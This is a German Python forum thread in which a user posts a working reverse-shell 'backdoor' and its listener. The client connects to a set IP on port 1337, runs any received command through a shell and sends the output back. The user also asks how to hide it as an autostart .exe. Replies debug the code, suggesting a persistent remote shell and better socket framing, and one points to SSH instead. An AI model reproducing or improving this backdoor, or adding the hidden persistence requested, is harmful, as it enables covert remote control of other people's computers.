"Backdoor" Fehler

Sockets, TCP/IP, (XML-)RPC und ähnliche Themen gehören in dieses Forum
darkblood092
User
Beiträge: 1
Registriert: Donnerstag 31. August 2017, 15:37

"Backdoor" Fehler

Beitragvon darkblood092 » Donnerstag 31. August 2017, 15:42

Hallo habe eine Art Backdoor in Py geschrieben aber ein Befehl funktioniert nicht...
Ich kann den "cd .." nicht benutzen ! Kann mir wer helfen??
BackdoorSender
  1. import socket
  2.  
  3. host = ''
  4. port = 1337
  5. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6. s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  7. s.bind((host, port))
  8. s.listen(10)
  9. print("Listening on 0.0.0.0:%s" % str(port))
  10. connection, addr = s.accept()
  11. print("Connection established to " + addr[0])
  12. data = connection.recv(4098)
  13. data = data.decode("latin-1")
  14. print(data)
  15. while True:
  16.     cmd = input("Command: ")
  17.     if cmd == "":
  18.         continue
  19.     connection.send(str.encode(cmd))
  20.     if cmd == "quit":
  21.         break
  22.     data = connection.recv(4098)
  23.     data = data.decode("latin-1")
  24.     print(data)
  25. connection.close()

Backdoor
  1. import socket
  2. import subprocess
  3.  
  4. host = '192.168.178.86'
  5. port = 1337
  6. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7. s.connect((host, port))
  8. s.send(str.encode("Backdoor running."))
  9.  
  10. while True:
  11.     data = s.recv(4098)
  12.     if data.decode == "quit":
  13.         break
  14.     proc = subprocess.Popen(data.decode("latin-1"), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE,
  15.                             stderr=subprocess.PIPE)
  16.     stdout = proc.stdout.read()
  17.     stderr = proc.stderr.read()
  18.     s.send(stdout)
  19.     s.send(stderr)

Ps:
Wäre auch cool wenn jemand eine Idee hat, wie ich die Backdoor (als .exe) in den Autostart packen kann und sie nur im Hintergrund arbeitet;)

LG Tom
lutzhorn
User
Beiträge: 1
Registriert: Donnerstag 31. August 2017, 09:29

Re: "Backdoor" Fehler

Beitragvon lutzhorn » Donnerstag 31. August 2017, 15:54

in Befehl funktioniert nicht...
Ich kann den "cd .." nicht benutzen


Was erwartest Du denn? `subprocess.Popen` wird ausführen, was als Argument übergeben wird. Auswirkungen auf folgende Aufrufe von `subprocess.Popen` hat das aber nicht.
Benutzeravatar
__deets__
User
Beiträge: 2177
Registriert: Mittwoch 14. Oktober 2015, 14:29

Re: "Backdoor" Fehler

Beitragvon __deets__ » Donnerstag 31. August 2017, 15:56

Das du cd nicht benutzen kannst liegt daran, dassdas Arbeitsverzeichnis der "Backdoor" automatisch uebernommen wird fuer jeden gestarteten Unterprozess.

Das zu aendern ist nicht einfach. Am besten waere es wahrscheinlich du fernsteuerst eine laufende Shell, statt jedes Kommando einzeln zu starten.

Dann gibt es noch die ueblichen Probleme:

- du verletzt die Konventionen des PEP-8 Coding styles. Dazu gehoert das Konstanten gross geschrieben werden.
- du schreibst Code direkt auf Modulebene, statt in Funktionen, die du dann aufrufst, und gegen versehentliches Ausfuehren mit 'if __name__ == '__main__'' schuetzt.
- du benutzt Sockets nicht richtig, weil du davon ausgehst, das alles, was du sendest, auch so ankommt. Das stimmt aber nicht, das recv kan auch mit einem beliebig kleinerem Ergebnis zurueckkommen. Du musst also ein Protokoll schreiben, um ganze Nachrichten zu verschicken und zu empfangen.

Last but not least: das was du da schreibst gibt es schon in der Form von SSH und Telnet. Warum benutzt du die nicht einfach?
Sirius3
User
Beiträge: 7069
Registriert: Sonntag 21. Oktober 2012, 17:20

Re: "Backdoor" Fehler

Beitragvon Sirius3 » Donnerstag 31. August 2017, 15:58

@darkblood092: so funktioniert Socket-Programmierung nicht. TCP ist ein Streaming-Protokoll. Du brauchst eine Kennzeichnung, dass eine Nachricht vollständig ist. Am besten Arbeitest Du auch nicht mit send/recv, sondern erzeugst mit makefile ein Dateiobjekt-ähnliches Interface.
Zum eigentlichen Problem: das aktuelle Verzeichnis wird für jeden Prozess festgelegt. Da Du jedesmal einen neuen Prozess startest, hat ein `cd` überhaupt keine Auswirkung.

Wer ist online?

Mitglieder in diesem Forum: Bing [Bot]